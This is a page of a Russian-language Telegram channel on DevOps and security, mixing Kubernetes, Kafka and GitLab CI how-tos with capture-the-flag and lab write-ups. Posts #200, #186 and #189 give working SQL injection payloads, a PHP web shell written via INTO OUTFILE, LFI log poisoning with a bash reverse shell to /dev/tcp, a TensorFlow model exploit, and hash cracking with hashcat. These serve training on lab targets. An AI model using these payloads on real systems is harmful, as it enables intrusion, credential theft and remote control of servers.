TGViewer
Channel Public Channel
Сочный DevOps

Сочный DevOps

@andtree_sec

От CI/CD до SIEM, SOC и безопасности — здесь делюсь опытом, мыслями и полезняшками на стыке DevOps и безопасности. Всё сочное — в «Сочном DevOps».
Subscribers
420
Photos
8
Videos
0
Links
52

Showing posts older than #203 · Back to latest

Older Posts 20 shown
Post #201 290
glusterfs в k8s

Установку самого glusterfs рассматривать не будем. Тут предполагается, что он установлен на внешних, по отношению к куберу серверах и том работает в режиме distributed-replicated.

В k8s работу с glusterfs можно реализовать через kadalu проект. У меня fluxcd, пишем под него деплой.

1. helmrelease.yaml
apiVersion: helm.toolkit.fluxcd.io/v2
kind: HelmRelease
metadata:
name: kadalu
namespace: kadalu
spec:
interval: 10m
releaseName: kadalu
install:
crds: Create
upgrade:
crds: CreateReplace
chart:
spec:
chart: kadalu
version: "1.3.0"
sourceRef:
kind: HelmRepository
name: kadalu
namespace: flux-system
interval: 10m
values:
global:
image:
registry: "<you_proxy_registry>"
repository: "kadalu"
pullPolicy: "IfNotPresent"
kubernetesDistro: "kubernetes"
operator:
enabled: true
verbose: "no"


2. repository.yaml
apiVersion: source.toolkit.fluxcd.io/v1
kind: HelmRepository
metadata:
name: kadalu
namespace: flux-system
spec:
interval: 1h
url: oci://<registry>/path/helm
type: oci
secretRef:
name: <secret_name>


Я взял официальный helm релиз со страницы релизов на github. Файлик kadalu-helm-chart.tgz и залил в корп регистри так:
helm registry login <registry>
helm pull oci://<registry>/<project>/helm/kadalu:1.3.0


3. kustomization.yaml
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization
resources:
- repository.yaml
- helmrelease.yaml


Далее на уровне нужного кластера создаем secret.yaml, где описываем стандартный dockerconfigjson манифест для авторизации в регистри.
Там же создаем файл storage.yaml:
apiVersion: kadalu-operator.storage/v1alpha1
kind: KadaluStorage
metadata:
name: glusterfs
namespace: kadalu
spec:
type: External
single_pv_per_pool: false
details:
gluster_host: <gluster_host>
gluster_volname: glusterfs_data
gluster_options: "backupvolfile-server=<gluster_host_2>,log-level=WARNING"


В gluster_options если есть еще сервера с glusterfs, можно их все указать через запятую в backupvolfile-server. Это для HA, если вдруг что с хостом, указанным в gluster_host будем подключаться к указанным в backupvolfile-server.

После деплоя, создадим проверочный pvc:
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: app-data
namespace: test
spec:
accessModes:
- ReadWriteMany
storageClassName: kadalu.glusterfs
resources:
requests:
storage: 20Gi


И под, который его использует:
apiVersion: v1
kind: Pod
metadata:
name: app-uses-kadalu
namespace: test
spec:
containers:
- name: busybox
image: busybox:1.36
command: ["sh", "-c", "sleep 3600"]
volumeMounts:
- name: data
mountPath: /data
volumes:
- name: data
persistentVolumeClaim:
claimName: app-data


Внутри в директории /data можно создать файлы, затем запустить еще один такой же под и проверить, что они доступны и в нем.

#glusterfs
Post #200 204
Прохождение assesment по SQLi fundamentals HTB academy.

Вдруг кому-то понадобится.
В конце модуля дается веб-приложение со страницей логина и регистрации нового акк.

Какие бы payload для обхода аутентификации я не пробовал в поле ввода логина, оно не работает. После долгих поисков, решил проверить регистрацию, там меня смущала одна вещь - invite code, который нужно было ввести, чтобы создать акк. Естественно получить его не откуда, но в итоге SQLi скрывался в нем.

Payload в repeater Burp:
username=test&password=qwerty123%21&repeatPassword=qwerty123%21&invitationCode=aaaa-bbbb-1234 ' or '1'='1


В ответ увидим, что акк создан:
Location: /login.php?s=account+created+successfully!


Заходим на страницу, там можно выбрать conversation и поле search будет уязвимо. Тут уже подойдут (почти) payload-ы из изученной темы (UNION based SQLi).

Список баз:
admin') UNION select 1, 2, database(),4 from INFORMATION_SCHEMA.SCHEMATA #


Видим нужную нам chattr.

Получаем список таблиц:
admin') UNION select 1,2, TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.TABLES where table_schema='chattr'


В первом задание сказано, получить хеш пароля admin, выведем все:
admin') UNION select 1, 2, username, password from chattr.Users #


Далее нас просят ввести корневую директорию сервера. Есть подсказка, нужно читать конфиг веб-сервера. Через БД мы это можем сделать вот так:
admin') UNION SELECT 1 , 2 , LOAD_FILE ( "/etc/nginx/nginx.conf" ), 4 -- -


Далее посмотрим стандартный default в sites-enabled:
admin') UNION SELECT 1 , 2 , LOAD_FILE ( "/etc/nginx/sites-enabled/default" ), 4 -- -


Последнее задание прочитать флаг. Сделаем php shell через доступную нам запись в файл из БД.
admin') UNION SELECT "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/chattr-prod/shell.php'-- -


Доступные привилегии кстати можно посмотреть так:
admin ') UNION SELECT 1, 2, privilege_type, grantee FROM information_schema.user_privileges-- - 


Далее открываем shell.php?0=id, должен вернуться вывод команды id. Значит шелл работает. Смотрим, что у нас в корне
/shell.php?0=ls%20/`


Там будет флаг. Читаем его:
/shell.php?0=cat%20/<flag_file_name>.txt


#htb
  • 🔥 1
Post #199 184
Немного fazzing-а

Используем ffuf.

Фаззинг директорий:
ffuf -w <wordlist> -u https://<domain>/FUZZ/-mc 200,204,301,302,307,308,401-fc 404  -ac -v


Поиск скрытых файлов:
ffuf -u "https://<domain>/FUZZ" \
-w <wordlist> \
-e .php,.html,.txt,.bak,.js \
-mc 200,204,301,302,307,401,403 \
-ac


Поиск vhosts:
ffuf -w <wordlist>   -u https://<domain> -H "Host: FUZZ.<domain>"  -rate 10 


Как увидите закономерность по размеру ответа (достаточно парочки запросов), добавляем параметр -fs <size> для фильтра, чтобы в итоге было
ffuf -w <wordlist> -u https://<domain> -H "Host: FUZZ.<domain>" -rate 10 -fs <size>


Рекурсивный:
ffuf -w <wordlist> -ic -v -u https://<domain>/FUZZ -e .html -recursion 


Если нужно ограничить глубину рекурсии -recursion-depth 2

Фаззинг API:
ffuf -u https://<domain>/<endpoint> -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "y=FUZZ" -w <wordlist> -mc 200 -v


y - это query параметр.

#fuzzing
  • 🔥 1
Post #198 175
Bump версии в python проектах с pyproject.toml

Уже как-то писал про утилиту bumpversion, которая позволяет автоматизировать bump, например патч версии. Обычно создается файл, в котором указывается текущая версия, которая при выполнении нехитрых команд будет увеличиваться, затем утилита автоматически делает комит в git.

В python проектах, где используется pyproject.toml уже есть поле version. Выглядит примерно так:
[project]
name = "<app_name>"
version = "1.0.0"


Следовательно отдельный файл нам не нужен, мы просто будет "бампать" этот.

Создаем в корне bumpversion.cfg:
[bumpversion]
current_version = 1.0.0
commit = True
tag = False

[bumpversion:file:pyproject.toml]
search = version = "{current_version}"
replace = version = "{new_version}"


{current_version} и {new_version} это переменные доступные в контексте выполнения самой утилиты, задавать их где-то отдельно не нужно.

Логика в ci:
.bump_version:
before_script:
- pip install bump2version
- git config --global --add safe.directory '*'
- git config --global user.email "${GITLAB_USER_EMAIL}"
- git config --global user.name "${GITLAB_USER_NAME}"
- git remote set-url origin https://tag_token:${TAG_TOKEN}@${CI_SERVER_HOST}/${CI_PROJECT_PATH}.git
- git fetch
- git checkout $CI_COMMIT_REF_NAME
- git reset --hard "origin/$CI_COMMIT_REF_NAME"
script:
- |
function get_version() {
VERSION=$(cat $VERSION_PATH)
if [[ "$BUMP2VERSION_VERSION_FROM" == "pyproject" ]];then
VERSION=$(cat $VERSION_PATH | grep -E "^version = "|awk '{print $3}'|tr -d '"')
fi;
}

if [[ "$CI_COMMIT_REF_NAME" == "$CI_DEFAULT_BRANCH" ]];then
cmd_args=()
if [[ -n "$BUMP2VERSION_CONFIG_FILE" ]];then
cmd_args+=(--config-file "$BUMP2VERSION_CONFIG_FILE")
fi;
cmd_args+=("$BUMP2VERSION_TYPE")
bump2version "${cmd_args[@]}"
get_version
TAG="v$VERSION"
else
get_version
TAG="v$VERSION-$CI_COMMIT_SHORT_SHA"
fi;
echo "Generated tag: $TAG"
echo "TAG=$TAG" > dotenv.var
if [[ "$GENERATE_GIT_TAG" == "true" ]];then
git tag -f -a "$TAG" -m "Version $TAG. Created by $GITLAB_USER_NAME"
git push origin "${TAG}" -o ci.skip
fi;
if [[ "$CI_COMMIT_REF_NAME" == "$CI_DEFAULT_BRANCH" ]];then
git push origin HEAD:$CI_COMMIT_REF_NAME -o ci.skip
fi;


Здесь у нас вводится дополнительная переменная BUMP2VERSION_VERSION_FROM, чтобы обозначить проекты pyproject. Для всего остального просто читаем VERSION файл. Это нужно чтобы корректно распарсить версию из pyproject.toml, в VERSION она и так указывается как есть.

Пример ci в конечном проекте:
prepare_version:
stage: prepare
image: python:3.11.12-bookworm
extends: [".bump_version"]
variables:
GENERATE_GIT_TAG: "false"
BUMP2VERSION_TYPE: patch
GENERATE_DOTENV_FILE: "true"
VERSION_PATH: "pyproject.toml"
BUMP2VERSION_CONFIG_FILE: "bumpversion.cfg"
BUMP2VERSION_VERSION_FROM: "pyproject"
artifacts:
reports:
dotenv: dotenv.var
expire_in: 3 hours


#gitlab
  • 👍 1
Post #196 203
Сохранение версии в инфраструктурном CI

Предположим есть логика для инфраструктурного сиай, где при сборке кастомного бинаря мы его тут же деплоим ansible-ом. Как правило реализуется это на triggered pipeline, так как репозиторий с inventory файлами ansible лежит в другом git repository. Следовательно пробросить переменную в сиай при вызове не сложно, но это временно, нужно же еще сделать комит. Расширяемая джоба ниже как раз для этого:

.git_commit:
image: alpine:3.19
before_script:
- apk add --no-cache git curl yq
- git config --global --add safe.directory '*'
- git config --global user.email "${GITLAB_USER_EMAIL}"
- git config --global user.name "${GITLAB_USER_NAME}"
- git remote set-url origin https://ci_commit_token:${CI_COMMIT_TOKEN}@${CI_SERVER_HOST}/${CI_PROJECT_PATH_OVERRIDE}.git
- git fetch
- git checkout $CI_COMMIT_REF_NAME
- git reset --hard "origin/$CI_COMMIT_REF_NAME"
script:
- yq -i ".${YAML_KEY_PATH} = strenv(YAML_KEY_NEW_VALUE)" "${YAML_TARGET_FILE}"
- git add "${YAML_TARGET_FILE}"
- |
git commit -m "ci: update ${YAML_KEY_PATH} in ${YAML_TARGET_FILE}"
- git push origin HEAD:$CI_COMMIT_REF_NAME -o ci.skip


Предполагается, что из другого проекта она будет вызвана примерно так:
<job:name>:
stage: .post
extends: [".git_commit"]
variables:
YAML_KEY_PATH: "<variables_name_in_yaml>"
YAML_KEY_NEW_VALUE: "<variables_new_value>"
YAML_TARGET_FILE: "<path_to_vars>"
CI_PROJECT_PATH_OVERRIDE: "<project>"
rules:
- { when: on_success , if: '$CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH' }
- { when: never }


YAML_KEY_PATH - это название переменной в переменных инвентори (vars или group_vars, например).
YAML_KEY_NEW_VALUE - новое значение этой переменной.
YAML_TARGET_FILE - путь до переменных. Например у меня это почти всегда файлы в group_vars.
CI_PROJECT_PATH_OVERRIDE - название проекта вида group/sub_group/project. Он будет склонирован в нашей джобе и в него же будет комит. Стандартная переменная CI_PROJECT_PATH в данном случае не подходит, так как мы вызываем данный код из другого проекта.

Значение переменной заменяется через yq. Не забываем делать ci.skip, чтобы не дублировать запуск пайплайна, ведь предполагается, что мы уже накатили версию в предыдущем шаге и тут просто фиксируем ее в наш "источник правды" - git.

#gitlab
  • ❤ 1
Post #195 173
Нотификация в xss-hunter

В статье выше рассказывал про тулзу xss-hunter. Там еще можно отправлять нотификации о сработанных payload, например в telegram. Для это нужно завести бота и получить chat_id, что в принципе является стандартной процедурой для телеграм ботов.

Далее в .env добавляем:
NOTIFY=telegram://<bot_token>@telegram/?chats=<chat_id>


По дефолту нотификация будет выглядеть так:
Payload Fire: A payload fire has been detected on <URL>


Можно изменить в main.go, 300-ая строка, функция send_notification при желании и пересобрать:
docker compose up -d --build


#xsshunter
  • 🔥 1
Post #193 206
Новая статья:
Немного XSS и фишинга в образовательных целях

https://andtree.ru/?p=1427
  • ❤ 1
Post #192 236
Большие статьи, которые не влезают в пост для ТГ канала будут публиковаться на сайт. Если вдруг кому-то нужен бот, который с WP сайтов публикует последние статьи в ТГ канал, то ссылки ниже:

Тут на golang.
Тут на python.

#news
  • 🔥 2
Post #189 237
HTB. Artificial.

Машина уровня easy на HTB.
Сканируем адрес:
nmap -sC -sV 10.10.11.74


У нас открыты только 80 и 22 порт. Идем на сайт, нас приветствует веб-приложение, позволяющее загружать свои LLM модели. Регистрируемся, заходим и видим на /dashboard возможность скачать requirements.txt в требованиях. Там в зависимостях - tensorflow-cpu==2.13.1. И приложен тестовый Dockerfile
FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \
apt-get install -y curl && \
curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
rm -rf /var/lib/apt/lists/*

RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

ENTRYPOINT ["/bin/bash"]


Ищем публичные exploit на tensorflow. Я нашел рабочий вот тут. Клонируем, нужно поправить файл exploit.py, в нем вшит reverse shell, выставляем свой ip и порт.
Далее собираем по типу как в предоставленном Dockerfile:
docker run --rm -v $(pwd):/code -w /code python:3.8-slim bash -c " 
pip install https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl &&
python exploit.py"


У нас на выходе будет файл exploit.h5, его можно через UI загрузить на сайте и нажать "View predictions" для выполнения, перед этим ловим шелл nc -lnvp 9000.

После получения RCE, немного стабилизируем шелл python3 -c 'import pty; pty.spawn("/bin/bash")'.
На машине находим sqlite базу в instance/users.db.
sqlite3 instance/users.db
.tables
select * from users;


У нас тут есть юзер gael, такой же как на хосте и хеш его пароля. Брутим хеш:
echo <hash>  hash.txt
hashcat -m 0 -a 0 hash.txt /path/to/rockyou.txt


С полученным паролем пробуем ssh под этим пользователем. Это работает, получаем первый флаг в user.txt.

Далее нужен LPE. sudo у нас нет, смотрим какие группы у пользователя:
gael@artificial:~$ find / -group sysadm -xtype f -ls 2>/dev/null | head -n 200
293066 51132 -rw-r----- 1 root sysadm 52357120 Mar 4 2025 /var/backups/backrest_backup.tar.gz
gael@artificial:~$


Разархивируем бэкап. Внутри из интересного файл .config/backrest/config.json, внутри имя пользователя и хеш закодированный в base64. Сбрутим его:
echo <base64_hash> |base64 -d > /tmp/hash.txt
hashcat -m 3200 /tmp/hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 3200 /tmp/hash.txt /usr/share/wordlists/rockyou.txt --show


Получаем пароль от UI системы бэкапа backrest. Заходим туда, она позволяет создавать бэкап и выполнять скрипты, а так как запущена от root, мы можем этим воспользоваться.
"Add repo" -> заполняем любыми значениями -> Hooks -> CONDITION_PRUNE_START -> command -> cat /root/root.txt > /tmp/root.txt. После запуска идем проверять /tmp директорию и читаем рут флаг.

#writeup
#htb
  • 👍 2
  • 🔥 2
Post #188 157
Собираем аудит логи k8s

Собирать аудит логи k8s api будем с помощью vector прямо из подов. ConfigMap под это дело:
apiVersion: v1
kind: ConfigMap
metadata:
name: vector-config-audit-logs
namespace: logging
data:
audit-logs.yaml: |
sources:
kube_apiserver_audit:
type: file
include:
- /var/log/kubernetes/audit/kube-apiserver-audit.log
read_from: end
max_line_bytes: 2097152

transforms:
general_fields:
type: remap
inputs: [kube_apiserver_audit]
source: |-
.cluster_name = "${CLUSTER_NAME}"

sinks:
kube_apiserver_audit_sink:
type: kafka
inputs: [general_fields]
bootstrap_servers: "<bootstrap"
topic: "<topic_name>"
encoding:
codec: json
librdkafka_options:
security.protocol: "SASL_SSL"
enable.ssl.certificate.verification: "false"
sasl:
enabled: true
username: ${VECTOR_KAFKA_LOGIN}
password: ${VECTOR_KAFKA_PASSWORD}
mechanism: "PLAIN"


В моем примере синк (отправка) идет в кафку.
В самом helm release вектора нужно подключить cm и добавить толерантности, чтобы запуститься на мастерах.
values:
existingConfigMaps:
- vector-config-audit-logs
tolerations:
- key: "node-role.kubernetes.io/master"
operator: "Exists"
effect: "NoSchedule"
- key: "node-role.kubernetes.io/control-plane"
operator: "Exists"
effect: "NoSchedule"
env:
- name: CLUSTER_NAME
value: <cluster_name>
- name: VECTOR_LOG
value: info
- name: RUST_BACKTRACE
value: "1"
- name: "VECTOR_THREADS"
value: "8"
- name: ALLOCATION_TRACING
value: "false"
- name: VECTOR_REQUIRE_HEALTHY
value: "true"
- name: VECTOR_KAFKA_LOGIN
valueFrom:
secretKeyRef:
name: vector
key: VECTOR_KAFKA_LOGIN
- name: VECTOR_KAFKA_PASSWORD
valueFrom:
secretKeyRef:
name: vector
key: VECTOR_KAFKA_PASSWORD


Этого достаточно. Тут мы также "обогащаем" данные, добавляя в каждый лог поле .cluster_name. /var/log вектор маунтит по дефолту.

#vector
  • 👍 2
Post #187 178
Смотрим сетевой трафик контейнера на ноде

Бывает удобно, когда дебажите NetworkPolicy.
Заходим на ноду на которой расположен контейнер и получаем его container_id.
crictl ps |grep <container_name>


Затем смотрим pid.
crictl inspect <container_id> |grep pid


В моем случае я хотел посмотреть исходящий с этого пода трафик.
nsenter -t  <pid> -n -- tcpdump -i any -n -s 0 "src host <pod_ip>"


Команда может быть другой, в зависимости от того, что мы хотим.

#k8s
  • 🔥 2
  • ❤ 1
Post #186 166
Проходим машину web-2-1 и web-2-2 на hackbase.standoff

Задание в первой (web-2-1) звучит так - "Реализуйте LFI на узле www.edu.stf (10.124.1.235)."
LFI - local file inclusion - уязвимость позволяющая просматривать содержимое файлов на сервер через URL, query параметры и тд. (при наличии уязвимого кода само собой).

Открываем сайт в Burp, видим повторяющийся запрос GET /api/read.php?file=/opt/cpu.txt
Запрос подобного вида потенциально уязвим. Мы можем сразу получить флаг, выполнив - GET /api/read.php?file=../../../../../../etc/pt.flag

Второе задание звучит так:
"Получите RCE на узле www.edu.stf (10.124.1.235) посредством LFI."
Сканируем nmap-ом хост:
nmap -sC -sV <ip>


Находим запущенный vsftpd. Гуглим LFI + vsftd и понимаем, что есть возможность внедрить вредоносный php код и исполнить его, если vsftpd пишет лог с именем пользователя. Проверим любым ftp клиентом и используем LFI, чтобы прочитать лог - GET /api/read.php?file=../../../../var/log/vsftpd.log HTTP/1.1
Видим что имя пользователя выводится в логе. А читаем мы этот лог через уязвимый read.php (include/require функции внутри), который может выполнить php код, который мы вставим вместо имени пользователя.

ftp <ip>
USER: <?=`bash -c 'bash -i >& /dev/tcp/<YOU_IP>/4444 0>&1'`?>
PASS: <any>


Тут мы подключаемся по ftp и в поле юзера добавляем payload с reverse shell.
У себя ловим шел:
nc -lvnp 4444


Выполняем запрос на чтение vsftpd.log и получаем шелл. Для получение флага выполняем /home/rceflag

#ctf
  • 👍 1
Post #185 163
Фиксим partition skew и leader skew в kafka

Мы для удобства повседневной работы с kafka кластерами используем kafka-ui.
Увеличивали RF на топике, увидели что partitions skew у одного брокера и leader skew у другого слегка стали брать больше нагрузки чем другие.

Смотрим распределение лидеров партиций у брокеров (слева кол-во партиций, справа broker id):
/usr/local/kafka/bin/kafka-topics.sh --bootstrap-server $BS --command-config $CFG --describe \ | awk '{for(i=1;i<=NF;i++) if ($i=="Leader:") print $(i+1)}' \ | sort | uniq -c | sort -nr

61 2
58 1
53 4
52 3
51 5
45 6


Сильнее всех отстает 6 брокер. Второй наиболее загружен.
Смотрим распределение реплик по брокерам:
/usr/local/kafka/bin/kafka-topics.sh --bootstrap-server $BS --command-config $CFG --describe \ | awk ' match($0,/Replicas: \[?([0-9, ]+)\]?/,m){ s=m[1]; gsub(/[ \[\]]/,"",s); n=split(s,a,","); for(i=1;i<=n;i++) cnt[a[i]]++ } END{for(b in cnt) printf "%6d %s\n", cnt[b], b} ' | sort -nr 

128 1
116 2
113 5
106 4
106 3
99 6


Тут картина немного другая. 1-й брокер имеет наибольшее кол-во реплик. 6-ой - наименьшее.
Возьмем за основу, что 1 брокер - нагруженный, 6 нет.

Генерируем топики для reassign-а:
HEAVY=1
LIGHT=6
/usr/local/kafka/bin/kafka-topics.sh --bootstrap-server $BS --command-config $CFG --describe \
| awk -v H=$HEAVY -v L=$LIGHT '
function has(b, s) { return index("," s ",", "," b ",") }
/Topic: / { if (match($0,/Topic: ([^ ]+)/,t)) topic=t[1] }
match($0,/Replicas: \[?([0-9, ]+)\]?/,m) {
s=m[1]; gsub(/[ \[\] ]/,"",s)
if (has(H,s) && !has(L,s)) hit[topic]++
}
END{ for (k in hit) printf "%6d %s\n", hit[k], k }' \
| sort -nr \
| grep -v '^__' \
| head -n 10 \
| awk '{print "{\"topic\":\""$2"\"}"}' \
| paste -sd, - \
| sed '1s/^/{"topics":[/; $s/$/], "version":1}/' \
> /tmp/topics_to_move.json


Выполняем так называемый reassign. Сначала генерируем план для него на основе наших топиков.
/usr/local/kafka/bin/kafka-reassign-partitions.sh \
--bootstrap-server $BS --command-config $CFG \
--topics-to-move-json-file /tmp/topics_to_move.json \
--broker-list "1,2,3,4,5,6" \
--generate | tee /tmp/reassign.gen


Далее достаем JSON из вывода:
awk '/Proposed partition reassignment configuration/{p=1} p{print} /\}$/ {if(p){exit}}' /tmp/reassign.gen \
| sed -n '/{/,/}/p' > /tmp/reassign-plan.json


Выполняем сам reassign с тротлингом 50 МБ/с:
 /usr/local/kafka/bin/kafka-reassign-partitions.sh \
--bootstrap-server $BS --command-config $CFG \
--reassignment-json-file /tmp/reassign-plan.json \
--throttle 52428800 \
--execute


Последить за выполнением можно так:
watch -n 5 "/usr/local/kafka/bin/kafka-reassign-partitions.sh \
--bootstrap-server $BS --command-config $CFG \
--reassignment-json-file /tmp/reassign-plan.json --verify"


Ну и в UI ждем, когда все реплики за синкаются.
Если вдруг лидеры не выровнялись по завершению, то можно попробовать:
/usr/local/kafka/bin/kafka-leader-election.sh \
--bootstrap-server $BS --command-config $CFG \
--election-type PREFERRED \
--all-topic-partitions


#kafka
  • 🔥 1
Post #184 142
Реализуем перезагрузку helm релиза при изменениях только configMap

При изменениях только в configMap, helm release не перезапускается. Это не очень удобно для GitOps систем и внешних чартов, где мы используем статичную версию автора.

Поэтому можно использовать проект reloader.

У меня fluxCD. На уровне apps добавляем следующее:

1. helmrelease
apiVersion: helm.toolkit.fluxcd.io/v2
kind: HelmRelease
metadata:
name: reloader
namespace: flux-system
spec:
interval: 5m
chart:
spec:
chart: reloader
version: "2.2.0"
sourceRef:
kind: HelmRepository
name: stakater
namespace: flux-system
interval: 5m
targetNamespace: reloader-system
install:
createNamespace: false
remediation:
retries: 3
upgrade:
remediation:
retries: 3
strategy: rollback
values:
image:
repository: ghcr.io/stakater/reloader
name: stakater/reloader
tag: v1.4.6
pullPolicy: IfNotPresent
reloader:
watchGlobally: true
autoReloadAll: false
namespacesToIgnore: "kube-system,kube-public,kube-node-lease,flux-system"
reloadStrategy: "annotations"
deployment:
replicas: 1
resources:
requests:
cpu: 10m
memory: 128Mi
limits:
cpu: 150m
memory: 512Mi


2. kustomization.yaml
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization
resources:
- repository.yaml
- helmrelease.yaml


3. repository.yaml
apiVersion: source.toolkit.fluxcd.io/v1
kind: HelmRepository
metadata:
name: stakater
namespace: flux-system
spec:
interval: 30m
url: https://stakater.github.io/stakater-charts


Создание ns мы контролируем отдельно, также в структуре flux, его приводить не буду.

Далее на уровне кластера и соответственно приложения кластера просто добавляем аннотацию:
reloader.stakater.com/auto: "true"


reloader будет видеть изменения в configMap и то, поды какого релиза ее используют и перезапускать релиз.

#k8s
  • ❤ 1
Post #183 141
Переносим данные kafka на RAID

Один из кластеров kafka пишет свои данные в /var/lib/kafka/, который в root. Пришла задача исправить, есть 8 дисков под программный raid. Соответственно будет делать 10-й.

Подготовительные работы.
Работы проводятся поочередно на каждом брокере. Сначала отключаем брокер и переносим данные в новую временную директорию.
systemctl stop kafka
mkdir /tmp/kafka_backup
rsync -aXH --progress /var/lib/kafka/ /tmp/kafka_backup
rm -rf /var/lib/kafka/*


Далее можно воспользоваться вот этой ansible ролью для установки mdadm.
Мои переменные
mdadm_arrays:
- name: "md1"
devices:
- '/dev/nvme1n1'
- '/dev/nvme4n1'
- '/dev/nvme5n1'
- '/dev/nvme11n1'
- '/dev/nvme6n1'
- '/dev/nvme7n1'
- '/dev/nvme9n1'
- '/dev/nvme8n1'
filesystem: "xfs"
level: "10"
mountpoint: "/var/lib/kafka"
state: "present"
mdadm_force_create_filesystem: true


Это установит mdadm, создаст 10 RAID и сразу выполнит маунт в /var/lib/kafka.

Далее остается только перенести данные и включить брокер:
rsync -aXH --progress /tmp/kafka_backup/ /var/lib/kafka/
systemctl start kafka


#kafka
  • 🔥 1
Older posts →
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →